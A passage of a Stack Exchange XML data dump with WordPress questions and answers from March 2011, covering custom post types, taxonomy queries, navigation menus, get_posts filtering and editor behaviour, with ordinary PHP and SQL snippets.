  <row Id="10986" PostTypeId="2" ParentId="10984" CreationDate="2011-03-03T02:47:08.557" Score="3" ViewCount="" Body="&lt;p&gt;You should never touch any files in wp-includes. Really if it's not in your own theme you should leave it alone. If you need to modify a plugin then remember upgrades will kill your modification. I typically bundle the plugin in to my theme if I have to modify it so it doesn't get updated by accident.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-03T02:47:08.557" />
  <row Id="10987" PostTypeId="1" AcceptedAnswerId="11011" CreationDate="2011-03-03T02:58:38.457" Score="0" ViewCount="58" Body="&lt;p&gt;I'm using the following plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/question-and-answer-forum/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/question-and-answer-forum/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It as a textarea which enables the user to post a question. The author told me &lt;a href=&quot;http://wordpress.org/support/topic/plugin-question-and-answer-forum-any-possibility-of-adding-the-following-features?replies=3&quot; rel=&quot;nofollow&quot;&gt;how to allow html&lt;/a&gt; on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I was wondering how to add a buttons which enables the user to use html, say, attaching a link to a word (like you do here at StackExchange sites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the same should apply to commenting forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-03T11:46:06.030" Title="How to add a button that enables the user to insert a link in a textarea located in the front-end?" Tags="&lt;html&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="10988" PostTypeId="1" AcceptedAnswerId="10989" CreationDate="2011-03-03T04:10:48.373" Score="1" ViewCount="99" Body="&lt;p&gt;I'm trying to modify a plugin that generates an archive listing so it shows only one category, making it a single category archive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old version of the plugin used a get_posts query, and so it was easy to disallow categories of posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rawposts = get_posts( 'numberposts=-1&amp;amp;category=-4,-6,-7,-9' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The new version of the plugin uses that database query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT ID, post_date, post_date_gmt, comment_status, comment_count FROM &#xA;$wpdb-&amp;gt;posts WHERE post_status = 'publish' AND post_type = 'post' AND post_password =&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I disallow several categories from a database query?&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-03-03T04:19:00.853" Title="Disallow categories from this MySQL query" Tags="&lt;categories&gt;&lt;mysql&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="10989" PostTypeId="2" ParentId="10988" CreationDate="2011-03-03T04:19:00.853" Score="3" ViewCount="" Body="&lt;p&gt;You could use the get_tax_sql() function introduced in WP 3.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tax_query = array(&#xA;  array(&#xA;    'taxonomy' =&amp;gt; 'category',&#xA;    'terms' =&amp;gt; array( 4, 6, 7, 9 ),&#xA;    'operator' =&amp;gt; 'NOT IN'&#xA;  )&#xA;);&#xA;&#xA;$clauses = get_tax_sql( $tax_query, $wpdb-&amp;gt;posts, 'ID' );&#xA;&#xA;...&#xA;&quot;SELECT ID, post_date, post_date_gmt, comment_status, comment_count&#xA;FROM $wpdb-&amp;gt;posts {$clauses['join']}&#xA;WHERE post_status = 'publish'&#xA;AND post_type = 'post'&#xA;{$clauses['where']}&#xA;&quot;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(not tested)&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-03T04:19:00.853" CommentCount="1" />
  <row Id="10991" PostTypeId="2" ParentId="10979" CreationDate="2011-03-03T06:01:16.247" Score="1" ViewCount="" Body="&lt;p&gt;The fastest way would be an iframe plugin ( like &quot;Embed Iframe&quot;) , you can then just copy past it all and cross your fingers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be able to just copy/past from the  script tag to /script into the html editor of a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative and best method is to make your own custom template page and throw it into the source code using wp enqueue script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Stepping_Into_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Stepping_Into_Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-03T06:01:16.247" />
  <row Id="10993" PostTypeId="2" ParentId="10981" CreationDate="2011-03-03T07:13:21.610" Score="1" ViewCount="" Body="&lt;p&gt;I've been using the following plugin for Event management, and it has short code to display all events and sort them by date. It also has some developer features to give you a bit more control over things. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/events-manager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/events-manager/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very cool plugin that is actively developed. &lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-03-03T07:13:21.610" CommentCount="1" />
  <row Id="10994" PostTypeId="1" AcceptedAnswerId="11008" CreationDate="2011-03-03T08:08:45.033" Score="0" ViewCount="49" Body="&lt;p&gt;We are creating a custom post type to showcase a series of archival recordings. They will cover many topics, and be tagged with ideas/phrases from the talks, similar to a regular post. Is it better to create custom taxonomies such as--for example--topics and themes in place of categories and tags, or does it make any difference? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the individual recordings need to be marked w/info such as date recorded, length of recording(s) etc., but this is info that doesn't necessarily need to be searchable. Is it 'better form' (for lack of a way to explain) to create custom taxonomies for these bits of info, or just add them to the description meta box? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for your help..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don&lt;/p&gt;&#xA;" OwnerUserId="2815" LastActivityDate="2011-03-03T11:16:46.867" Title="taxonomies or categories w/custom post" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="10996" PostTypeId="1" CreationDate="2011-03-03T09:24:09.523" Score="1" ViewCount="98" Body="&lt;p&gt;Im kinda a noob but have made some homepages for fun but got this new one that im making for a friend that´s stopped my dead in my tracks: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yellowknife.se/artfex/&quot; rel=&quot;nofollow&quot;&gt;http://yellowknife.se/artfex/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The popup (ugly as hell and will be changed into images) gives the visitor the option of three different types of products to view. I need help with how to make a custom menu load when each of these three categories are clicked. I´ve googled but didnt get to far, to little codeexperience keeps me from getting it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any thoughts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Dave&#xA;Sweden&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2011-03-03T09:46:29.410" Title="How to make link to different categories that in them selves loads different menus?" Tags="&lt;custom-menus&gt;" AnswerCount="1" />
  <row Id="10997" PostTypeId="2" ParentId="10866" CreationDate="2011-03-03T09:26:12.813" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@rxn:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes @wyrfel is right, you use &lt;code&gt;wp_insert_post()&lt;/code&gt; to create your posts. Using your 50 US States example I've created some code you can drop into your theme's &lt;code&gt;functions.php&lt;/code&gt; to see how it works &lt;em&gt;(although you'll probably not want to call &lt;code&gt;add_states_if_not_yet_added()&lt;/code&gt; for every page load, but the example is easier to show it this way):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;add_action('init','init_us_states');&#xA;function init_us_states() {&#xA;  register_us_states_post_type();&#xA;  add_states_if_not_yet_added();&#xA;}&#xA;function add_states_if_not_yet_added() {&#xA;  foreach(get_50_us_states() as $state_code =&amp;gt; $state_name) {&#xA;    if (!get_page_by_path($state_code,OBJECT,'us-state'))&#xA;      wp_insert_post(array(&#xA;        'post_type'       =&amp;gt; &quot;us-state&quot;,&#xA;        'post_content'    =&amp;gt; &quot;Information about {$state_name}&quot;,&#xA;        'post_title'      =&amp;gt; $state_name, // i.e. 'Georgia'&#xA;        'post_name'       =&amp;gt; $state_code, // i.e. 'GA'; this is for the URL&#xA;        'post_status'     =&amp;gt; &quot;publish&quot;,&#xA;        'comment_status'  =&amp;gt; &quot;closed&quot;,&#xA;        'ping_status'     =&amp;gt; &quot;closed&quot;,&#xA;        'post_parent'     =&amp;gt; &quot;0&quot;,&#xA;      ));&#xA;  }&#xA;}&#xA;function register_us_states_post_type() {&#xA;  register_post_type('us-state',array(&#xA;      'labels' =&amp;gt; array(&#xA;      'name' =&amp;gt; _x('States', 'post type general name'),&#xA;      'singular_name' =&amp;gt; _x('State', 'post type singular name'),&#xA;      'add_new' =&amp;gt; _x('Add New', 'us-state'),&#xA;      'add_new_item' =&amp;gt; __('Add New State'),&#xA;      'edit_item' =&amp;gt; __('Edit State'),&#xA;      'new_item' =&amp;gt; __('New State'),&#xA;      'view_item' =&amp;gt; __('View State'),&#xA;      'search_items' =&amp;gt; __('Search States'),&#xA;      'not_found' =&amp;gt;  __('No States found'),&#xA;      'not_found_in_trash' =&amp;gt; __('No States found in Trash'),&#xA;      'parent_item_colon' =&amp;gt; '',&#xA;      'menu_name' =&amp;gt; 'States'&#xA;    ),&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'show_in_menu' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array('slug'=&amp;gt;'states'),&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'has_archive' =&amp;gt; 'states',&#xA;    'hierarchical' =&amp;gt; false,&#xA;    'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt')&#xA;  ));&#xA;}&#xA;function get_50_us_states() {&#xA;  return array(&#xA;    'AL' =&amp;gt; 'Alabama',&#xA;    'AK' =&amp;gt; 'Alaska',&#xA;    'AZ' =&amp;gt; 'Arizona',&#xA;    'AR' =&amp;gt; 'Arkansas',&#xA;    'CA' =&amp;gt; 'California',&#xA;    'CO' =&amp;gt; 'Colorado',&#xA;    'CT' =&amp;gt; 'Connecticut',&#xA;    'DE' =&amp;gt; 'Delaware',&#xA;    'FL' =&amp;gt; 'Florida',&#xA;    'GA' =&amp;gt; 'Georgia',&#xA;    'HI' =&amp;gt; 'Hawaii',&#xA;    'ID' =&amp;gt; 'Idaho',&#xA;    'IL' =&amp;gt; 'Illinois',&#xA;    'IN' =&amp;gt; 'Indiana',&#xA;    'IA' =&amp;gt; 'Iowa',&#xA;    'KS' =&amp;gt; 'Kansas',&#xA;    'KY' =&amp;gt; 'Kentucky',&#xA;    'LA' =&amp;gt; 'Louisiana',&#xA;    'ME' =&amp;gt; 'Maine',&#xA;    'MD' =&amp;gt; 'Maryland',&#xA;    'MA' =&amp;gt; 'Massachusetts',&#xA;    'MI' =&amp;gt; 'Michigan',&#xA;    'MN' =&amp;gt; 'Minnesota',&#xA;    'MS' =&amp;gt; 'Mississippi',&#xA;    'MO' =&amp;gt; 'Missouri',&#xA;    'MT' =&amp;gt; 'Montana',&#xA;    'NE' =&amp;gt; 'Nebraska',&#xA;    'NV' =&amp;gt; 'Nevada',&#xA;    'NH' =&amp;gt; 'New Hampshire',&#xA;    'NJ' =&amp;gt; 'New Jersey',&#xA;    'NM' =&amp;gt; 'New Mexico',&#xA;    'NY' =&amp;gt; 'New York',&#xA;    'NC' =&amp;gt; 'North Carolina',&#xA;    'ND' =&amp;gt; 'North Dakota',&#xA;    'OH' =&amp;gt; 'Ohio',&#xA;    'OK' =&amp;gt; 'Oklahoma',&#xA;    'OR' =&amp;gt; 'Oregon',&#xA;    'PA' =&amp;gt; 'Pennsylvania',&#xA;    'RI' =&amp;gt; 'Rhode Island',&#xA;    'SC' =&amp;gt; 'South Carolina',&#xA;    'SD' =&amp;gt; 'South Dakota',&#xA;    'TN' =&amp;gt; 'Tennessee',&#xA;    'TX' =&amp;gt; 'Texas',&#xA;    'UT' =&amp;gt; 'Utah',&#xA;    'VT' =&amp;gt; 'Vermont',&#xA;    'VA' =&amp;gt; 'Virginia',&#xA;    'WA' =&amp;gt; 'Washington',&#xA;    'WV' =&amp;gt; 'West Virginia',&#xA;    'WI' =&amp;gt; 'Wisconsin',&#xA;    'WY' =&amp;gt; 'Wyoming',&#xA;  );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's some screenshots showing it in use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110303-041436.png&quot; alt=&quot;WordPress 3.1 post type page for a US State&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110303-042359.png&quot; alt=&quot;List of US States on a WordPress 3.1 archive page&quot;&gt;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/States_%E2%80%B9_WP_3.1_Test_Site_%E2%80%94_WordPress-20110303-042237.png&quot; alt=&quot;List of US State post types in the WordPress 3.1 admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-03T09:26:12.813" CommentCount="5" />
  <row Id="10998" PostTypeId="1" AcceptedAnswerId="11005" CreationDate="2011-03-03T09:32:14.243" Score="4" ViewCount="661" Body="&lt;p&gt;Basically I have a custom post type of 'products' which has two taxonomies attached to it...the normal 'category' and a custom taxonomy called 'brands'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page which is 'brand' specific. On this page I'd like to list all the 'categories' that have a 'product' in them with a term of the 'brand' whos page I'm on attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg. say I'm on the &quot;Nike&quot; page. I want it to list all categories that have a 'product' in them with the 'brand' of &quot;Nike&quot; attached to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thoughts are to use get_categories but theres now way to define a specific taxonomy or 'brand'?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories('orderby=name&amp;amp;depth=1&amp;amp;hide_empty=0&amp;amp;child_of='.$cat);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone done this before or knows a way to query the database directly to get the required results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreicated, Thanks&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-03-29T15:58:52.063" Title="get_categories for custom post type with a specific custom taxonomy attached" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;archive&gt;" AnswerCount="2" FavoriteCount="4" />
  <row Id="10999" PostTypeId="1" AcceptedAnswerId="11060" CreationDate="2011-03-03T09:36:46.813" Score="0" ViewCount="191" Body="&lt;p&gt;(repost from &lt;a href=&quot;http://themehybrid.com/community/topic/how-to-auto-activate-plugins-from-child-themes&quot; rel=&quot;nofollow&quot;&gt;Theme Hybrid Community&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume a plugin or multiple-plugins are hosted on WordPress.org. Can you automatically activate plugins with the functions.php of a child theme? Is there any problem with doing such a thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to add plugin functionality to a child theme?&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2011-03-03T18:58:41.830" Title="How do you auto-activate plugins from child themes" Tags="&lt;plugins&gt;&lt;functions&gt;&lt;child-theme&gt;" AnswerCount="2" />
  <row Id="11000" PostTypeId="2" ParentId="10996" CreationDate="2011-03-03T09:46:29.410" Score="1" ViewCount="" Body="&lt;p&gt;Once the category is selected it would be pretty easy with the help of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;wp_nav_menu&lt;/a&gt; to check what category is currently selected using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_category&quot; rel=&quot;nofollow&quot;&gt;is_category&lt;/a&gt; and then load the menu you need. This would be defined in your page template or header (depending on where your menu is loaded) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category('category 1')) { &#xA;    wp_nav_menu( array('menu' =&amp;gt; 'category1-nav') );&#xA;} else if (is_category('category 2')) { &#xA;    wp_nav_menu( array('menu' =&amp;gt; 'category2-nav') );&#xA;} else if (is_category('category 3')) { &#xA;    wp_nav_menu( array('menu' =&amp;gt; 'category3-nav') );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to define the different menu's in your &lt;strong&gt;functions.php&lt;/strong&gt; like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus( array(&#xA;'category1-nav' =&amp;gt; 'Category 1 Navigation', &#xA;'category2-nav' =&amp;gt; 'Category 2 Navigation',&#xA;'category1-nav' =&amp;gt; 'Category 1 Navigation'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've defined the menu's you can set them up under Appearance &gt; Menu's in the admin area.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-03-03T09:46:29.410" CommentCount="2" />
  <row Id="11001" PostTypeId="2" ParentId="10977" CreationDate="2011-03-03T09:49:37.897" Score="2" ViewCount="" Body="&lt;p&gt;Use this before any mod_rewrite directives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch Permanent ^/art/(\d+).html /?p=$1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-03T09:49:37.897" CommentCount="1" />
  <row Id="11002" PostTypeId="1" AcceptedAnswerId="11004" CreationDate="2011-03-03T10:16:21.570" Score="0" ViewCount="154" Body="&lt;p&gt;I am using the get_posts tag to get 4 random posts from a custom post type. However, I only want to get a post IF it has the $pic_url set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´ve tried using...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!$pic_url) {continue;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that won´t work since i sometimes end up with displaying fewer than 4 posts (I allways want to display 4 posts).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rand_posts = get_posts(array( 'numberposts' =&amp;gt; 4, 'orderby' =&amp;gt; 'rand', 'post_type' =&amp;gt; 'ansatte', 'order' =&amp;gt; 'ASC' ));&#xA;    foreach( $rand_posts as $post ) : &#xA;        $pic_url = get_post_meta($post-&amp;gt;ID, 'employee_pic', true); &#xA;        $name = get_post_meta($post-&amp;gt;ID, 'employee_name', true); &#xA;        $title = get_post_meta($post-&amp;gt;ID, 'employee_title', true); &#xA;        ?&amp;gt;&#xA;        &amp;lt;div class=&quot;alignleft employee_outer&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;employee_container&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php if($pic_url) { echo $pic_url; } else { echo bloginfo('template_url') . '/images/default_profile_pic.png'; } ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;p class=&quot;employee_name&quot;&amp;gt;&amp;lt;?php echo $name; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;small class=&quot;employee_title&quot;&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2011-03-03T10:25:22.333" Title="If clauses in get_posts query" Tags="&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="11003" PostTypeId="1" CreationDate="2011-03-03T10:24:38.397" Score="2" ViewCount="308" Body="&lt;p&gt;Is there a way to prevent the Visual Editor from modifying my HTML when creating a post or a page? I know it has good intentions in doing what it does, but sometimes I'd prefer it not to touch my HTML, yet render the HTML in visual mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sample of code used in editor:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td width=&quot;124&quot; align=&quot;left&quot; valign=&quot;top&quot;&amp;gt;&#xA;    &amp;lt;p style=&quot;line-height: 140%; font-size: 10px; color: #333; font-family: Arial; margin: 0; padding: 0 0 12px 0;&quot;&amp;gt;&#xA;        &amp;lt;strong&amp;gt;Team Demo of the New Shake Table&amp;lt;/strong&amp;gt;&#xA;    &amp;lt;/p&amp;gt; &#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;strong&amp;gt;May 17, 4-6pm&amp;lt;/strong&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p style=&quot;line-height: 140%; font-size: 10px; color: #333; font-family: Arial; margin: 0; padding: 0 0 8px 0;&quot;&amp;gt;&#xA;        &amp;lt;strong&amp;gt;Tech Exhibition in Oslo&amp;lt;/strong&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;June 5-9, Halle&amp;lt;/strong&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2630" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-03T16:59:46.333" LastActivityDate="2011-03-12T21:51:13.880" Title="Is there a way to prevent the Editor from modifying my HTML" Tags="&lt;tinymce&gt;&lt;visual-editor&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="11004" PostTypeId="2" ParentId="11002" CreationDate="2011-03-03T10:25:22.333" Score="3" ViewCount="" Body="&lt;p&gt;only retrieve posts with that meta key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rand_posts = get_posts(array( &#xA;  'numberposts' =&amp;gt; 4, &#xA;  'orderby' =&amp;gt; 'rand', &#xA;  'post_type' =&amp;gt; 'ansatte', &#xA;  'order' =&amp;gt; 'ASC',&#xA;  'meta_key' =&amp;gt; 'employee_pic',&#xA; ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or maybe use WP 3.1's meta_query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rand_posts = get_posts(array( &#xA;  'numberposts' =&amp;gt; 4, &#xA;  'orderby' =&amp;gt; 'rand', &#xA;  'post_type' =&amp;gt; 'ansatte', &#xA;  'order' =&amp;gt; 'ASC',&#xA;  'meta_query' =&amp;gt; array(&#xA;     array(&#xA;      'key'     =&amp;gt; 'employee_pic',&#xA;      'value'   =&amp;gt; '',&#xA;      'compare' =&amp;gt; 'NOT LIKE'&#xA;     ),&#xA;   )&#xA; ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-03-03T10:25:22.333" CommentCount="1" />
  <row Id="11005" PostTypeId="2" ParentId="10998" CreationDate="2011-03-03T10:51:28.933" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@daveaspi:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is common but not well handled in WordPress core. There are probably ways to do it without custom SQL but I don't think they would scale for a large number of posts. Below is a function I wrote called &lt;code&gt;get_cross_referenced_terms()&lt;/code&gt; that will get what you want, complete with an example how to use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This following code can be placed in the root of your WordPress site in a &lt;code&gt;test.php&lt;/code&gt; file to &#xA;see it work. You can then copy the function &lt;code&gt;get_cross_referenced_terms()&lt;/code&gt; into your theme's &lt;code&gt;functions.php&lt;/code&gt; file or into a &lt;code&gt;.php&lt;/code&gt; file of a plugin you might be working on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;  include('wp-load.php');&#xA;&#xA;  $nike = get_term_by('slug','nike','brand'); // This here just to illustrate&#xA;&#xA;  $terms = get_cross_referenced_terms(array(&#xA;    'post_type'        =&amp;gt; 'product',&#xA;    'related_taxonomy' =&amp;gt; 'brand',&#xA;    'term_id'          =&amp;gt; $nike-&amp;gt;term_id,&#xA;  ));&#xA;  foreach($terms as $term) {&#xA;    echo &quot;&amp;lt;p&amp;gt;{$term-&amp;gt;name}&amp;lt;/p&amp;gt;&quot;;&#xA;  }&#xA;&#xA;function get_cross_referenced_terms($args) {&#xA;  global $wpdb;&#xA;  $args = wp_parse_args($args,array(&#xA;    'post_type'        =&amp;gt; 'post',&#xA;    'taxonomy'         =&amp;gt; 'category',&#xA;    'related_taxonomy' =&amp;gt; 'post_tag',&#xA;    'term_id'          =&amp;gt; 0,&#xA;  ));&#xA;  extract($args);&#xA;  $sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT DISTINCT&#xA;  {$wpdb-&amp;gt;terms}.*,&#xA;  COUNT(*) AS post_count&#xA;FROM&#xA;  {$wpdb-&amp;gt;terms}&#xA;  INNER JOIN {$wpdb-&amp;gt;term_taxonomy} ON {$wpdb-&amp;gt;terms}.term_id={$wpdb-&amp;gt;term_taxonomy}.term_id&#xA;  INNER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;term_taxonomy}.term_taxonomy_id={$wpdb-&amp;gt;term_relationships}.term_taxonomy_id&#xA;  INNER JOIN {$wpdb-&amp;gt;posts} ON {$wpdb-&amp;gt;term_relationships}.object_id={$wpdb-&amp;gt;posts}.ID&#xA;  INNER JOIN {$wpdb-&amp;gt;term_relationships} related_relationship ON {$wpdb-&amp;gt;posts}.ID=related_relationship.object_id&#xA;  INNER JOIN {$wpdb-&amp;gt;term_taxonomy} related_term_taxonomy ON related_relationship.term_taxonomy_id=related_term_taxonomy.term_taxonomy_id&#xA;  INNER JOIN {$wpdb-&amp;gt;terms} related_terms ON related_term_taxonomy.term_id=related_terms.term_id&#xA;WHERE 1=1&#xA;  AND (related_term_taxonomy.taxonomy&amp;lt;&amp;gt;{$wpdb-&amp;gt;term_taxonomy}.taxonomy OR related_terms.term_id&amp;lt;&amp;gt;{$wpdb-&amp;gt;terms}.term_id)&#xA;  AND {$wpdb-&amp;gt;posts}.post_type='%s'&#xA;  AND {$wpdb-&amp;gt;term_taxonomy}.taxonomy='%s'&#xA;  AND related_term_taxonomy.taxonomy='%s'&#xA;  AND related_terms.term_id=%d&#xA;GROUP BY&#xA;  {$wpdb-&amp;gt;terms}.term_id&#xA;SQL;&#xA;  $sql = $wpdb-&amp;gt;prepare($sql,$post_type,$taxonomy,$related_taxonomy,$term_id);&#xA;  $terms = $wpdb-&amp;gt;get_results($sql);&#xA;  return $terms;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-03T11:16:02.173" LastActivityDate="2011-03-03T11:16:02.173" CommentCount="8" />
  <row Id="11006" PostTypeId="1" CreationDate="2011-03-03T10:54:05.617" Score="0" ViewCount="160" Body="&lt;p&gt;Trying to get my head round a request from a client, and thought I'd try to hivemind the solution a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client requires a two column post layout, with images down the right and text on the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, that bit it relatively straight forward (he says, having not tried it yet), but the real trouble is the next requirement. The images in the left column need to align with the starts of paragraphs in the left column. I am struggling to figure this bit out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--EDIT&lt;/strong&gt; - &lt;em&gt;More Info&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each post might contain several paragraphs which may or may not have images that require aligning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backend needs to be free from manual HTML, as the client wishes to maintain the site themselves.&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-03-03T11:42:00.867" LastActivityDate="2011-04-02T13:16:28.847" Title="Wordpress Theory Lesson - Image Columns within posts with alignment?" Tags="&lt;posts&gt;&lt;images&gt;&lt;columns&gt;&lt;theory&gt;" AnswerCount="2" />
